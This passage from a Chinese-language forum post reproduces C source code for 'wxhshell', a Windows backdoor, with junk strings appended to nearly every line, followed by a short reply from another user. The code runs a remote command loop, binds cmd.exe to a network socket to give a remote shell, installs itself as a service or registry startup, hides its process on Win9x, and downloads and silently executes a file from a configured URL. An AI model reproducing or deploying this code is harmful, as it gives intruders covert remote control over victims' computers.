  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @q<F_'7is  
  } )DwHLaLW  
  else { ")i>-1_H  
0.kQqy~5  
    switch(cmd[0]) {  _YPu  
  KoF_G[m  
  // 帮助 HCOE'24I  
  case '?': { Bq*aP*jv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,o68xfdZVW  
    break; [_w;=l0 ;  
  } d%w#a3(  
  // 安装 aA3KJa  
  case 'i': { [)KLmL%  
    if(Install()) u~\I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s$PPJJT{b  
    else XPd@>2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r.#"he_6!.  
    break; _+NM<o#A  
    } YfZ96C[a  
  // 卸载 f>kW\uC  
  case 'r': { i?D KKjN$  
    if(Uninstall()) CF0i72ul5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jp|1S^b  
    else +u|p<z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Im<(  
    break; d^W1;0  
    } ,'z=cB`+o  
  // 显示 wxhshell 所在路径 eR*y<K(d  
  case 'p': { Aat-938FP6  
    char svExeFile[MAX_PATH]; #s]'2O  
    strcpy(svExeFile,"\n\r"); lVR a{._m  
      strcat(svExeFile,ExeFile); Kh,zp{  
        send(wsh,svExeFile,strlen(svExeFile),0); 1?hx/02  
    break; %9Y3jB",2  
    } dRu|*s  
  // 重启 G ;fc8a[X  
  case 'b': { {-Q=YDR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Trz41g  
    if(Boot(REBOOT)) "o6a{KY(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ux=0N]lc  
    else { A$;"9F@  
    closesocket(wsh); F!pgec%]'  
    ExitThread(0); v>oWk:iJP  
    } ne-; gTP;  
    break; 8 bpYop7 L  
    } 7f,!xh$  
  // 关机 2SHS!6:Rl  
  case 'd': { 5ON\Ve_H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e3!0<A[X  
    if(Boot(SHUTDOWN)) at5>h   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lj#K^c Ee  
    else { /hksESiU  
    closesocket(wsh); _zF*S]9 X  
    ExitThread(0); Pt^SlX^MM  
    } zEN3N n.8  
    break; w(-h!d51+  
    } iwS55o  
  // 获取shell |z%:{  
  case 's': { }VI}O{  
    CmdShell(wsh); j| X>:!4r  
    closesocket(wsh); Exu>%  
    ExitThread(0); uFl19  
    break; b<1+q{0r  
  } IyJHKDFk  
  // 退出 nlsif  
  case 'x': { ~]LkQQ'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8\])p sb9  
    CloseIt(wsh); &8R !`uh1  
    break; :,[=g$CT:  
    } g*%z{w  
  // 离开 Kg>ehn4S@  
  case 'q': { 6Qh@lro;y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U,e'vS{  
    closesocket(wsh); _dk/SWb)  
    WSACleanup(); iB0#Z_  
    exit(1); M*n@djL$\~  
    break; _&xi})E^O]  
        } lU&[){  
  } KYN{Dh]-}  
  } |jT^[q(z  
9f U,_`r  
  // 提示信息 ZA{T0:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <]e0TU?bk  
} 3d81]!n  
  } 6xq/  
jSc!"Trl]  
  return; bxR6@  
} BfOQ/k))  
PTZ/j g@71  
// shell模块句柄 Z?"f#  
int CmdShell(SOCKET sock) 'PK;Fg\  
{ |'ML )`c[  
STARTUPINFO si; !eE;MaS>  
ZeroMemory(&si,sizeof(si)); ?vn9HhTD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U?.cbB,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oll,;{<O  
PROCESS_INFORMATION ProcessInfo; TP R$oO2  
char cmdline[]="cmd"; f:hsE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wR]jJb F  
  return 0; ?CU6RC n  
} %TUvH>;0  
pB0p?D)n  
// 自身启动模式 O~~WP*N  
int StartFromService(void) RF$2p4=[  
{ |X6/Y@N  
typedef struct vv0+F6 @  
{ Nt'6Y;m!  
  DWORD ExitStatus; ,C97|6rC  
  DWORD PebBaseAddress; Md[M}d8  
  DWORD AffinityMask; jqv"8S5  
  DWORD BasePriority; CaE1h9  
  ULONG UniqueProcessId; RJhafUJ zH  
  ULONG InheritedFromUniqueProcessId; OPe3p {]  
}   PROCESS_BASIC_INFORMATION; i&_&4  
lNRGlTD%  
PROCNTQSIP NtQueryInformationProcess; B/F6WQdZ  
P#o"T4 >  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 56`Tna,t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rK@XC +`S  
Vz @2_k   
  HANDLE             hProcess; vmsrypm  
  PROCESS_BASIC_INFORMATION pbi; %pG^8Q()   
cM 5V%w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4-voR5Fd  
  if(NULL == hInst ) return 0; }"x#uG  
]:_s7v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Z[YcLy"({  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `WRM7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $s.:H4:I  
j0`)mR}  
  if (!NtQueryInformationProcess) return 0; K6d2}!5  
tPqWe2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4}xw&x  
  if(!hProcess) return 0; 2&o jQhe  
I6-.;)McO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v1O1-aM  
CR8szMa  
  CloseHandle(hProcess); o|G[/o2  
V]Z!x.x"=y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D`NPU  
if(hProcess==NULL) return 0; A2 9R5  
dtx3;d<NsJ  
HMODULE hMod; X%rsa7H3J  
char procName[255]; euiP<[|h=  
unsigned long cbNeeded; !fmbm4!a  
j/p1/sJ[y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PX/7:D?  
%iR"eEE  
  CloseHandle(hProcess); +oevNM  
slTE.  
if(strstr(procName,"services")) return 1; // 以服务启动 1tIJ'#6  
4^(aG7  
  return 0; // 注册表启动 YG_|L[/#  
} PK).)5sW  
d+o.J",E  
// 主模块 C2}f'  
int StartWxhshell(LPSTR lpCmdLine) 4H4ui&|7u6  
{ 7z;X@+O}s  
  SOCKET wsl; 3ZUME\U  
BOOL val=TRUE; q,m+W='  
  int port=0; lx\9Y8  
  struct sockaddr_in door; q5xF~SQGw2  
Us2IeR  
  if(wscfg.ws_autoins) Install(); >r\q6f#J4  
`F`{s`E)  
port=atoi(lpCmdLine); L6x;<gj  
CuT50N;tk  
if(port<=0) port=wscfg.ws_port; 38#Zlc f  
8_Nyy/K#F  
  WSADATA data; of=N+ W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Mj6 0?k  
MAQ(PIc>T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JnIE6@g<y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `n?Rxhkwp  
  door.sin_family = AF_INET; dt||nF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZA+w7S3  
  door.sin_port = htons(port); ^).  
iY*fp=c9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ["^? vhv  
closesocket(wsl); LU $=j  
return 1; %jJ|4\  
} $a'}7Q_  
RJ1 @ a  
  if(listen(wsl,2) == INVALID_SOCKET) { Dbu>rESz  
closesocket(wsl); ]?%S0DO*  
return 1; g{^~g  
} ,GF]+nI89  
  Wxhshell(wsl); b4&l=^:e=  
  WSACleanup(); b/"gUYo  
UR~s\m  
return 0; ub;:"ns}  
NHiac(&*  
} H1.ktG  
rS8}(lf  
// 以NT服务方式启动 ykYef  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m+Kl   
{ (YM2Cv{4  
DWORD   status = 0; 6Ts[NXa  
  DWORD   specificError = 0xfffffff; }jg 1..)"<  
N*+L'bO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OcLahz6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )G),iy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JNv@MJb}  
  serviceStatus.dwWin32ExitCode     = 0; ;pj,U!{%s\  
  serviceStatus.dwServiceSpecificExitCode = 0; -}u1ZEND  
  serviceStatus.dwCheckPoint       = 0; " GY3sam  
  serviceStatus.dwWaitHint       = 0; !bs5w_@  
mw&'@M_(7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {T-=&%||  
  if (hServiceStatusHandle==0) return; x[=,$;o+  
3Cgv($xl&  
status = GetLastError(); "5204I  
  if (status!=NO_ERROR) q|V|Jl  
{ {)(Mkm +d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Re+oCJ  
    serviceStatus.dwCheckPoint       = 0; ,_ TE@ ]!$  
    serviceStatus.dwWaitHint       = 0; 6 2#@Y-5  
    serviceStatus.dwWin32ExitCode     = status; L*OG2liJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; bFhZSk )  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "U!Vdt2vp  
    return; (&SPMhs_|(  
  } RzU9]e  
: { iK 5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zZ,"HY=jN  
  serviceStatus.dwCheckPoint       = 0; ++n_$Qug  
  serviceStatus.dwWaitHint       = 0; xR8y"CpE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~ mzX1[  
} =h xyR;  
#jJ0Mxg  
// 处理NT服务事件,比如:启动、停止 ZUD{V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P?^%i  
{ *j( UAVp  
switch(fdwControl) *{,}pK2*  
{ X .sOZb?$  
case SERVICE_CONTROL_STOP: g&{CEfw&  
  serviceStatus.dwWin32ExitCode = 0; SAiaC _  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k[)/,1  
  serviceStatus.dwCheckPoint   = 0; AZf69z  
  serviceStatus.dwWaitHint     = 0; r KYQ 8T  
  { &@FufpPw/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T% GR{mp  
  } <Sr:pm  
  return; B}nT>Ub  
case SERVICE_CONTROL_PAUSE: KrR`A(=WL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LP !d|X  
  break; - (7oFOtg  
case SERVICE_CONTROL_CONTINUE: m%'T90mi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :|8!w  
  break; 3xN_z?Rg  
case SERVICE_CONTROL_INTERROGATE: !1%Sf.`!_  
  break; I5)$M{#a  
}; $&!|G-0'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <*+[E!oi  
} U o aWI2  
-g:i'e  
// 标准应用程序主函数 g}S%D(~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f:t j   
{ FY-eoq0O3  
yY{  
// 获取操作系统版本 YeVo=hYH@  
OsIsNt=GetOsVer(); f|ERZN`uB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \GV'{W+o2  
;O|u`fAqT  
  // 从命令行安装 u@P1`E1Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); OsW*@v(  
8 &v)Vi-  
  // 下载执行文件 &O#1*y Z  
if(wscfg.ws_downexe) { 7kITssVHI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~T/tk?:8Vi  
  WinExec(wscfg.ws_filenam,SW_HIDE); f$5\ b[O  
} _8ks`O#}  
;VEKrVD  
if(!OsIsNt) { < 2fy(9y  
// 如果时win9x,隐藏进程并且设置为注册表启动 =**Q\ Sl  
HideProc(); $d,/(*Y#-  
StartWxhshell(lpCmdLine); pFV~1W:  
} uH(M@7"6_!  
else |Qb@.  
  if(StartFromService()) \%9QE  
  // 以服务方式启动 Q5l+-  
  StartServiceCtrlDispatcher(DispatchTable); j<6+p r  
else Sn^M[}we  
  // 普通方式启动 .;S1HOHz4  
  StartWxhshell(lpCmdLine); cnRgzj<ek  
fdHFSnQ g  
return 0; bR1Q77<G\  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五